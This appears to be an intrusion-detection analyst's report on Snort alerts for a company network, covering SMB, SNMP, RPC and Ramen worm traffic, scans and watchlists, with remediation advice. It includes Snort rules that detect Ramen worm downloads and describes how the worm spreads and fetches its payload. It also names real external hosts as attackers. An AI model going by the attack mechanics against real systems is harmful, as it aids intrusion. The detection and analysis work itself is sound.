02/11-08:58:18.982795 [**] connect to 515 from inside [**] MY.NET.98.190:1025-> 216.181.129.185:515
```

SMB Name Wildcard

- 729 alerts with this signature.

Earliest such alert at **01:50:14**.572492 *on 02/20*
Latest such alert at **23:06:46**.712754 *on 03/10*

SMB Name Wildcard	307 sources	425 destinations

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
141.219.84.58	37	37	3	3
141.157.97.10	26	26	1	1
165.230.77.89	24	24	1	1
130.49.220.28	18	18	16	16
130.184.172.125	17	17	13	13
130.64.122.14	14	14	14	14
130.225.158.154	12	12	10	10
130.39.126.168	12	12	10	10
141.157.99.98	11	11	1	1
130.226.13.75	11	11	9	9

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.6.15	37	38	2	3
MY.NET.224.242	29	44	7	16
MY.NET.130.185	24	24	1	1
MY.NET.223.214	19	146	2	3
MY.NET.206.30	18	44	18	26
MY.NET.162.200	18	52	18	34
MY.NET.227.78	16	19	9	11
MY.NET.219.214	13	29	12	20
MY.NET.222.186	13	13	13	13
MY.NET.224.66	10	34	5	8

Description
This alert can be triggered by an attempt to enumerate the netbios table using nbtstat –A [target IP]. This may be an attempt to share via Netbios.

Additional Information
http://www.whitehats.com/info/IDS177

CAN-1999-0495	** CANDIDATE (under review) ** A remote attacker can gain access to a file system using .. (dot dot) when accessing SMB shares.
CAN-1999-0518	** CANDIDATE (under review) ** A NETBIOS/SMB share password is guessable.
CAN-1999-0519	** CANDIDATE (under review) ** A NETBIOS/SMB share password is the default, null, or missing.
CAN-1999-0520	** CANDIDATE (under review) ** A system-critical NETBIOS/SMB share has inappropriate access control

Analysis

This remains on the SANS Top 10 Internet Security Threats. The firewall should be immediately reconfigured to block this traffic. This will eliminate the threat from the outside. The machines listed as destinations should be examined and reconfigured if necessary.

MY.NET.69.252 and MY.NET.222.186 as they may be compromised or improperly configured. They triggered this alert against MY.NET228.254. and MY.NET.19.58 respectively. All of these machines should be examined and reconfigured.

SNMP public access

- 1155 alerts with this signature.

Earliest such alert at **00:01:03**.208289 *on 01/30*
Latest such alert at **08:08:55**.876824 *on 02/28*

SNMP public access	4 sources	8 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
128.46.156.197	1140	1140	6	6
128.183.38.30	10	10	1	1
MY.NET.70.42	3	3	1	1
MY.NET.111.156	2	2	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.100.99	872	872	1	1
MY.NET.100.206	144	144	1	1
MY.NET.100.143	121	121	1	1
MY.NET.154.26	10	10	1	1
MY.NET.50.154	5	5	2	2
MY.NET.100.45	1	2	1	2
MY.NET.100.205	1	2	1	2
MY.NET.100.160	1	2	1	2

Whois - 128.46.156.197
Purdue University (NET-PURDUE-NET)
Engineering Computer Network Electrical Engineering Building
West Lafayette, IN 47907
US

Nslookup
Name: ece156-dhcp-28.ecn.purdue.edu

Whois- 128.183.38.30
NASA Goddard Space Flight Center (NET-GSFC)
Greenbelt, MD 20771
US

Nslookup
Reverse lookup produced no results.

Description

SNMP uses a community string to perform authentication. Unfortunately, this string is often set to "Public"

Analysis
This remains on the SANS Top 10 Internet Security Threats. The firewall should be immediately reconfigured to block SNMP traffic. This will eliminate the threat from the outside. The machines listed as destinations should be examined and reconfigured if necessary.

MY.NET.70.42 and MY.NET.111.156 should be examined to see why they are trying to access MY.NET.50.154.

External RPC call

- 1517 alerts with this signature.

Earliest such alert at **19:34:43**.274146 *on 02/20*
Latest such alert at **17:16:44**.648225 *on 03/07*

External RPC call	4 sources	1466 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
171.65.61.201	1267	1274	1225	1230
129.105.107.190	245	246	242	242
209.88.124.3	4	4	4	4
199.174.56.66	1	1	1	1

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.181.224	3	3	1	1
MY.NET.60.63	3	5	2	4
MY.NET.181.222	2	3	1	2
MY.NET.75.71	2	2	1	1
MY.NET.75.70	2	2	1	1
MY.NET.144.15	2	3	1	2
MY.NET.144.80	2	2	1	1
MY.NET.151.175	2	3	1	2
MY.NET.181.250	2	2	1	1
MY.NET.182.199	2	2	1	1

Nslookup

171.65.61.201	Name:	psych-3365-PC.Stanford.EDU
129.105.107.190	Name:	dhcp107190.sesp.nwu.edu

Description
This alert is triggered when an external machine attempts to access port 111 (portmapper). This service is used to locate the ports that rpc programs may be running on. There are numerous root level exploits associated with many RPC server programs. Examples are the rpc.statd, mountd. Tooltalk, and rpc.cmsd vulnerabilities.

Analysis
Between 19:41 and 19:50 hrs, psych-3365-PC.Stanford.EDU launched a massive scan of GIAC Enterprises looking for portmapper . Once it found hosts that responded, it launched a statd exploit against 7 company computers (see STATDX UDP Attack). Earlier that day, between 19:34 and 19:37 dhcp107190.sesp.nwu.edu launched a similar attack. Further investigation is required to determine if this may have been a coordinated scan/attack. The firewall should be immediately reconfigured to block this traffic. This will eliminate the threat from the outside.

NMAP TCP PING

4818 alerts with this signature among the files:

- FullAlert4

Earliest such alert at **10:20:21**.185419 *on 01/30*
Latest such alert at **19:24:29**.743942 *on 03/10*

NMAP TCP ping!	12 sources	3824 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
MY.NET.70.38	4786	4788	3814	3814
192.102.197.234	12	12	2	2
63.119.91.2	5	5	2	2
194.133.58.129	4	4	3	3
159.215.19.44	3	3	2	2
208.5.219.131	2	2	1	1
12.40.36.194	1	1	1	1
199.197.130.21	1	1	1	1
2.2.2.2	1	1	1	1
65.160.48.98	1	1	1	1
202.187.24.3	1	1	1	1
159.237.4.2	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.1.8	15	31	3	10
MY.NET.248.70	6	6	1	1
MY.NET.250.75	5	5	1	1
MY.NET.114.58	5	5	1	1
MY.NET.1.5	5	5	4	4
MY.NET.124.163	5	5	1	1
MY.NET.124.164	5	5	1	1
MY.NET.113.222	4	4	1	1
MY.NET.220.223	4	4	1	1
MY.NET.114.11	4	4	1	1

Description
Nmap has the ability to map a network to see what hosts are up using tcp packets instead of ICMP packets.

Analysis
It appears as though MY.NET.70.38 has been compromised. It performed a scan of GIAC Enterprises computers starting on 20 Feb and finishing on 23 Feb. 3814 different destinations within the network were scanned. This machine must be immediately removed from the network and analyzed thoroughly.

```
01/30-10:20:21.185419 [**] NMAP TCP ping! [**] 192.102.197.234:53-> MY.NET.1.8:53
01/30-10:20:26.176916 [**] NMAP TCP ping! [**] 192.102.197.234:80-> MY.NET.1.8:53
01/30-16:05:29.293513 [**] NMAP TCP ping! [**] 192.102.197.234:80-> MY.NET.1.8:53
02/11-18:48:41.162716 [**] NMAP TCP ping! [**] 192.102.197.234:80-> MY.NET.1.8:53
02/20-11:08:18.892385 [**] NMAP TCP ping! [**] 192.102.197.234:80-> MY.NET.1.8:53
02/20-11:08:18.893862 [**] NMAP TCP ping! [**] 192.102.197.234:53-> MY.NET.1.8:53
02/22-10:20:44.511742 [**] NMAP TCP ping! [**] 192.102.197.234:53-> MY.NET.1.8:53
02/22-20:17:47.796636 [**] NMAP TCP ping! [**] 192.102.197.234:53-> MY.NET.1.8:53
02/24-13:43:36.402337 [**] NMAP TCP ping! [**] 192.102.197.234:53-> MY.NET.1.8:53
02/27-01:30:19.540385 [**] NMAP TCP ping! [**] 192.102.197.234:80-> MY.NET.1.10:53
03/10-15:02:26.238513 [**] NMAP TCP ping! [**] 192.102.197.234:80-> MY.NET.1.8:53
03/10-19:12:46.945749 [**] NMAP TCP ping! [**] 192.102.197.234:80-> MY.NET.1.8:53
```

Often, the amount of focused attention a attacker gives a target yields a wealth of information about the target and the Attacker. In the trace above, 192.102.197.234 has crafted packets to make it look as if the source of the of the packets was tcp port 80 and 53 so that they could slip past improperly configured firewalls and packet filters. Simply put, port 80 (webservices) should never be directly talking to port 53 (DNS). This may be an attempt to Zone Transfer. Further investigation is required.

Whois - 192.102.197.234
Intel Corporation (NET-LOCALNET16)
  Corporate Information Services
  1900 Prairie City Road, FM1-56
  Folsom,CA 95670
  US

NSlookup
Name: geo197a.cps.intel.com

Correlation
There are some other interesting traces involving 192.102.197.234 as well.
www.sans.org/y2k/021201.htm
www.sans.org/y2k/021401.html

Watchlist 000222 NET-NCFC

- 5728 alerts with this signature.

Earliest such alert at **14:15:20**.552797 *on 01/30*
Latest such alert at **21:56:00**.684731 *on 03/10*

Watchlist 000222 NET-NCFC	24 sources	12 destinations

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
159.226.81.1	5362	5362	2	2
159.226.45.204	170	170	1	1
159.226.45.108	111	111	2	2
159.226.39.4	35	35	2	2
159.226.210.6	10	10	1	1
159.226.228.1	8	8	2	2
159.226.45.3	5	5	3	3
159.226.115.1	5	5	1	1
159.226.114.1	4	4	2	2
159.226.63.200	2	2	1	1

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.6.47	5338	5339	2	3
MY.NET.6.7	204	207	4	7
MY.NET.60.11	80	301	1	13
MY.NET.253.43	43	56	5	9
MY.NET.100.230	36	48	3	9
MY.NET.60.17	8	24	7	23
MY.NET.253.41	7	11	1	2
MY.NET.6.35	5	8	2	4
MY.NET.253.42	3	8	2	4
MY.NET.6.34	2	2	2	2

Description
This alert is triggered because the source IP addresses belong to the Computer Network Center Chinese Academy of Sciences and have been placed on a watch list.

Analysis

All of the GIAC Enterprise computers that are listed as destinations should be treated as suspicious and further investigated.

Examples

```
02/11-05:48:19.112927 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:3134-> MY.NET.6.47:25
02/11-05:48:22.721768 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:3134-> MY.NET.253.43:25
02/11-05:48:25.679132 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:113-> MY.NET.6.47:34123
02/11-05:48:31.495504 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:3401-> MY.NET.6.47:25
02/11-05:48:48.751298 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:3723-> MY.NET.6.47:25
02/11-05:49:01.767326 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:4002-> MY.NET.6.47:25
02/11-05:49:03.122789 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:113-> MY.NET.6.47:34136
02/11-05:49:07.897626 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:4172-> MY.NET.6.47:25
02/11-05:49:18.268321 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:4329-> MY.NET.6.47:25
02/11-05:49:31.346088 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:4664-> MY.NET.6.47:25
02/11-05:49:36.117567 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:113-> MY.NET.6.47:34146
02/11-05:49:43.814824 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:4931-> MY.NET.6.47:25
02/11-05:49:49.989394 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:1055-> MY.NET.6.47:25
02/11-05:49:51.371987 [**] Watchlist 000222 NET-NCFC [**] 159.226.81.1:1055-> MY.NET.6.47:25
```

It appears as if MY.NET.6.47 has been compromised. There is an unusually high amount of SMTP traffic and the appearance of port 113 (auth) which is used for authentication purposes. The Attacker could possibly be using this company machine as an open mail relay. These relays are often exploited in order to flood mailboxes with unwanted, unsolicited emails. This computer should be immediately disconnected and examined.

```
02/20-00:52:33.313320 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.204:1070-> MY.NET.6.7:23
02/20-00:54:28.133151 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.204:1070-> MY.NET.6.7:23
02/20-00:54:37.078282 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.204:1070-> MY.NET.6.7:23
02/20-00:54:55.555739 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.204:1070-> MY.NET.6.7:23
02/20-00:55:03.111322 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.204:1070-> MY.NET.6.7:23
02/20-00:55:06.933614 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.204:1070-> MY.NET.6.7:23
02/20-00:55:30.166935 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.204:1070-> MY.NET.6.7:23
```

MY.NET.6.7 appears to be compromised as well. There is a large quantity of telnet traffic destined for this machine. This could indicate a compromise. This machine has been the source of Ramen worm alerts, as well. This computer should be immediately disconnected and examined.

Possible RAMEN server activity

- 9914 alerts with this signature.

Earliest such alert at **00:23:15**.036525 *on 01/30*
Latest such alert at **23:12:44**.357921 *on 03/10*

Possible RAMEN server activity	2346 sources	5067 destinations

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
24.67.186.244	2438	2438	2414	2414
24.48.226.183	1819	1819	1809	1809
128.138.2.112	728	728	1	1
MY.NET.201.146	553	553	1	1
MY.NET.253.12	530	530	530	530
MY.NET.97.154	330	330	234	234
MY.NET.60.11	326	326	2	2
148.129.143.2	210	210	1	1
MY.NET.225.66	60	60	14	14
MY.NET.217.202	30	30	10	10

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
24.67.186.244	1309	1309	1219	1219
24.48.226.183	1074	1074	1020	1020
MY.NET.201.146	728	730	1	2
128.138.2.112	553	553	1	1
148.129.143.2	322	322	1	1
MY.NET.60.11	211	301	2	13
MY.NET.97.154	93	94	76	77
MY.NET.225.66	37	42	11	14
MY.NET.217.202	22	23	8	9
24.180.160.210	18	18	4	4

Description
The rule being used is much too vague. It appears to trigger on any traffic to and from 27374. The following Snort rules would narrow the scope.

```
alert TCP $EXTERNAL any -> $INTERNAL 27374 (msg: "IDS460/worm-ramen-asp-retrieval-incoming";
flags: AP; content: "GET "; depth: 8; nocase;)
```

alert TCP $INTERNAL any -> $EXTERNAL 27374 (msg: "IDS461/worm-ramen-asp-retrieval-outgoing"; flags: AP; content: "GET "; depth: 8; nocase;)

The machine infected with the Ramen worm will scan the Internet looking for hosts that can be exploited with statd, BIND vulnerability, or the LPRng exploit. It will open a backdoor on that new machine and then return to the Attackers machine on port 27374 to download and then execute the main portion of the worm. Then the cycle continues.

Additional Information
http://www.whitehats.com/print/library/worms/ramen/
http://whitehats.com/info/IDS460
http://whitehats.com/info/IDS461

Analysis
Of all of the analysis done, to date, this was the most challenging.

As mentioned in the Description, port 27374 can be used to host the Ramen worm file for downloading. However, this port is better known as being the back door for a Trojan called Sub7. The difference between the two is that Ramen attacks Unix/Linux machines and Sub7 trojan attacks Windows machines. Regardless of its purpose, this port always demands attention.

The first two sources, 24.67.186.244 and 24.48.226.183 appear to have scanned large portions of GIAC Enterprises looking for this port. What is disturbing is the quantity of machines that have responded.. In the first case, 2414 distinct IPs were scanned and a staggering 1219 computers appear to have responded. Next, 1809 machines were scanned and 1020 appear to have responded. Notice that we have highlighted the word *appear*. This is because these machines have been the source of great debate with our analysts. Further investigation is required in order to determine the intent of the Attackers and any information they may have received.

MY.NET.253.12 may be compromised. It performed a scan of GIAC Enterprises apparently looking for port 27374

An immediate thorough investigation needs to be completed in order to assess how GIAC Enterprises has been affected by the Ramen worm.

The most important recommendation that can be made is to ensure all of your machines are regularly patched and kept up-to-date. This will stop your machines from becoming victims and possibly slow down / stop the propagation of worm attacks.

SYN-FIN scan!

- 11608 alerts with this signature.

Earliest such alert at **16:41:50**.481325 *on 02/03*
Latest such alert at **21:23:44**.016787 *on 03/10*

SYN-FIN scan!	9 sources	10346 destinations

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
130.234.184.112	9336	9336	8681	8681
128.61.136.233	1158	1159	1158	1159
211.248.112.67	1108	1108	1108	1108
4.35.4.244	1	2	1	1
24.50.25.5	1	1	1	1
63.252.15.242	1	1	1	1
66.25.174.123	1	1	1	1
128.206.176.25	1	1	1	1
209.255.180.130	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.220.88	3	3	2	2
MY.NET.177.52	3	3	2	2
MY.NET.167.139	3	3	3	3
MY.NET.219.55	3	4	2	3
MY.NET.5.108	3	3	2	2
MY.NET.107.160	3	3	3	3
MY.NET.167.171	3	3	2	2
MY.NET.152.37	3	3	2	2
MY.NET.177.70	3	4	3	4
MY.NET.13.193	3	3	3	3

Whois - 130.234.184.112
NORDU Nets (NET-NORDU1)
University of Jyvaskyla Computing Center, PL 35 (MaD)
Jyvaskyla, FIN-40351
FI

Nslookup

Name: termos.keltti.jyu.fi

Whois - 128.61.136.233
Georgia Institute of Technology (NET-GATECH)
   Office of Computing Services
   258 4th Street, Rich Building
   Atlanta, GA 30332
   US

Nslookup
Name: tann6233.mse.gatech.edu

Whois - 211.248.112.67
inetnum: 211.232.0.0 - 211.255.255.255
netname: KRNIC
descr: Korea Network Information Center
country: KR

Nslookup
Reverse lookup produced no results.

Description
This alert is triggered by a scan where both the tcp SYN and FIN flags are set. These packets are crafted and are considered anomalous at all times. This is a method used to avoid older intrusion detection systems. This can be used as operating system fingerprinting as well.

Additional Information
http://www.whitehats.com/info/ids198

Analysis
The three Attackers, highlighted above, were involved in widespread scanning of the company network. It appears that they were looking for machines running FTP and DNS (see Ex. 1& 2). These scans are rampant across the Internet these days. There are several current root-level exploits targeting these services.   On 6 Mar tann6233.mse.gatech.edu began a crafted SYN-FIN scan from source port 21 to destination port 21 in an attempt to locate ftp servers. It then proceeded to run the SITE EXEC exploit against MY.NET.219.22. It should be checked to see if it has been compromised. (see Ex. 3)

Example 1

```
02/06-16:58:47.639057 [**] SYN-FIN scan! [**] 211.248.112.67:53-> 10.10.1.29:53
02/06-16:58:48.039145 [**] SYN-FIN scan! [**] 211.248.112.67:53-> 10.10.1.130:53
02/06-16:58:48.118237 [**] SYN-FIN scan! [**] 211.248.112.67:53-> 10.10.1.134:53
02/06-16:58:48.246195 [**] SYN-FIN scan! [**] 211.248.112.67:53-> 10.10.1.67:53
```

Example2

```
02/25-04:50:13.630822 [**] SYN-FIN scan! [**] 130.234.184.112:21-> 10.10.1.17:21
02/25-04:50:13.690765 [**] SYN-FIN scan! [**] 130.234.184.112:21-> 10.10.1.20:21
02/25-04:50:13.850140 [**] SYN-FIN scan! [**] 130.234.184.112:21-> 10.10.1.28:21
```

```
02/25-04:50:14.030527 [**] SYN-FIN scan! [**] 130.234.184.112:21-> 10.10.1.37:21
```

Example 3

```
03/06-16:07:53.847779 [**] SYN-FIN scan! [**] 128.61.136.233:21-> MY.NET.1.136:21

03/06-16:07:53.870006 [**] SYN-FIN scan! [**] 128.61.136.233:21-> MY.NET.1.137:21

03/06-16:44:02.658052 [**] SITE EXEC - Possible wu-ftpd exploit - GIAC000623 [**] 128.61.136.233:4705->
MY.NET.219.22:21
```

Watchlist 000220 IL-ISDNNET-990517

- 15021 alerts with this signature.

Earliest such alert at **14:24:11**.454127 *on 01/30*
Latest such alert at **21:35:46**.336712 *on 03/10*

Watchlist 000220 IL-ISDNNET-990517	53 sources	78 destinations

Top 10 Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
212.179.41.169	4061	4061	1	1
212.179.21.179	2186	2186	1	1
212.179.33.82	1599	1599	1	1
212.179.125.114	1444	1444	2	2
212.179.79.2	1321	1321	20	20
212.179.72.226	791	791	1	1
212.179.44.62	441	441	4	4
212.179.29.250	414	414	2	2
212.179.41.14	407	407	1	1
212.179.42.21	321	321	1	1

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.213.250	4068	4069	2	3
MY.NET.207.226	2186	2186	1	1
MY.NET.209.114	1599	1599	1	1
MY.NET.207.126	1451	1451	2	2
MY.NET.220.42	791	792	1	2
MY.NET.222.2	619	619	4	4
MY.NET.210.34	436	436	1	1
MY.NET.217.42	413	413	1	1
MY.NET.225.50	407	408	1	2
MY.NET.217.206	402	403	1	2

Description
This address block is being watched due to its history if suspicious activity.

Analysis
Almost all of the traffic from the source IP addresses appears to be either Napster or Gnutella traffic based upon the ports being used. (6699 and 6346). Unless this contradicts the GIAC Enterprises' Acceptable Use Policy then no further investigation is required regarding these alerts.

External Signatures

After an initial review of the data it was noted that there was a substantial amount of alerts that had triggered on traffic with external source and destination addresses. There were 436,882 such alerts involving UDP traffic. Of these, 82% (360,172 alerts) were destined for IP 224.2.127.254 destination port

9875. Further investigation concluded that this combination of IP address and port number is associated with a multicast network. Your network appears to be connected to a virtual network like MBONE.

> *The MBONE is a virtual network. It is layered on top of portions of the physical Internet to support routing of IP multicast packets since that function has not yet been integrated into many production routers. The network is composed of islands that can directly support IP multicast, such as multicast LANs like Ethernet, linked by virtual point-to-point links called "tunnels". The tunnel endpoints are typically workstation-class machines having operating system support for IP multicast and running the "mrouted" multicast routing daemon.*

From: http://www.cs.columbia.edu/~hgs/internet/mbone-faq.html

Multicasting is used for videoconferencing, audio conferencing, shared collaborative workspaces, even gaming. It is important to determine if this is sanctioned activity on your network. The phrase “tunneling” is a cause for concern for most IT security analysts.

There were 1722 alerts that were triggered by TCP packets with source and destination IPs falling outside GIAC’s IP range. The majority of those involved reserved IPs such as 10.10.x.x. This might indicate subnetting within the network. Further investigation is required.

Other Detects of Interest

- Internet gaming appears to be commonplace within GIAC Enterprises. A good deal of these Internet games operate at very high port numbers and can often trigger false alarms. Please consult the company’s Internet Acceptable Use Policy in order to determine if this traffic is suitable.

- On 2-4 March, 62.119.119.3 (envy2.nxs.se from SE-NFK-NET3,Sweden) made repeated connection to MY.NET.178.42 on port 317.

zannet	317/tcp	Zannet
zannet	317/udp	Zannet

ZanNet is a remote administration tool that is designed to replace both ftp and telnet. MY.NET.178.42 should be disconnected from the Internet immediately and a thorough investigation started.

- The following machines should be examined to see if they are sanctioned webservers. Traffic destined for port 80 (http) has been seen within the data.

MY.NET.253.114
MY.NET.100.165
MY.NET.99.85
MY.NET.181.144
MY.NET.211.62

- On 23 January, 129.104.19.94 (pmcpcjl.polytechnique.fr from Ecole Polytechnique, France) initiated a massive scan of GIAC Enterprises looking for port 109 (pop2). This service has been replaced by pop3 and therefore is not widely in use. The firewall should be immediately reconfigured to block this traffic. This will eliminate the threat from the outside..

Defensive Recommendations

Once again I would like to thank you for having selected us to analyze this important data. Any of the recommendations made throughout this paper were made in the hopes that they may be implemented quickly thereby improving the short-term network security of GIAC Enterprises.

The recommendations below, are designed to be implemented as a long-term security strategy:

1) A thorough vulnerability assessment should be performed upon the company's network. This will provide a complete framework of the vulnernabilies on your network. The "reverse-engineering" approach that this paper took would not be necessary.
2) Improved sensor coverage is a must. The ability to detect attacks against your network is crucial. Your company should look at investing in its security with the purchase of commercial IDS technology or even utilize free open-source products like SHADOW. As well, these sensors should always be on UPS backup power supply so that data collection continues.
3) Your firewall must be configured to allow those services that your company deems necessary and block those known to problems. This will limit the chances that machines in your network can be compromised.
4) Review your Acceptable Use Policy and enforce it.
5) Patch your systems. The number one reason that most networks and computers are compromised is because the system administrator has not implemented security or operating system patches. A regimented program to implement and enforce this within GIAC Enterprises must begin today.

In conclusion, this paper will serve as a launching point for network security within GIAC Enterprises. A number of short-term and long-term fixes have been recommended. We look forward to working with you in the future as you endeavor to tighten the IT security of your company.

Assignment 4 – Analysis process

I began by downloading all of the data. I then manually started to go through it so that I could see exactly what I was dealing with. I immediately noticed that the data that had been saved under the UMBCNI headers was actually some Alert, Scan, and OOS check data that would need to be rolled in.

I then used *cat* in order to produce a large file of each type. I called the files FullAlert, Scans, and OOSfinal.

Previous GIAC certification papers were of great help to me. I reviewed countless papars. It looked as though I would experience memory problems when running SnortSnarf on the data. Next, I downloaded a copy of SnortSnarf v011601.1 and, never having used it before, I RTFM in order to see how it worked.

I knew that SnortSnarf would have problems with "MY.NET" terminology. So I used the *sed* command to change these into a format that SnortSnarf could use and that I could remember.☺

```
sed  s/MY.NET./10.10./g FullAlert >> FullAlert2
```

I then ran SnortSnarf and before long I received the message "Out of memory". Can't say I wasn't warned.

Not being able to get my hands on a more powerful machine, I tried to separate the data into useful and organized sections. *Grep* quickly became my best friend and tool of choice. I separated out the portscan information into a file called sppportscan. This was used for correlation purposes.

Next I noticed that there was a great deal of traffic that had source and destination IPs that were outside those used in the network. I *grep*ed those out into a file called out. This was later separated into files outudp and outtcp. These files were analyzed to explain the traffic that appeared to be on the outside of the network.

The file that remained I called FullAlert4. This file was then run through SnortSnarf and SUCCESS!

OOSfinal and Scans were used to correlate the data.

I used the following web sites to gather information and correlate the alerts:

www.sans.org
www.snort.org
www.whitehats.com
packetstorm.securify.com
www.securityfocus.com
www.insecure.org/nmap
www.iana.org/assignments/port-numbers
www.dogpile.com
http://www.silicondefense.com/snortsnarf/
http://namespace.pgmedia.net/search/
http://cve.mitre.org/
http://advice.networkice.com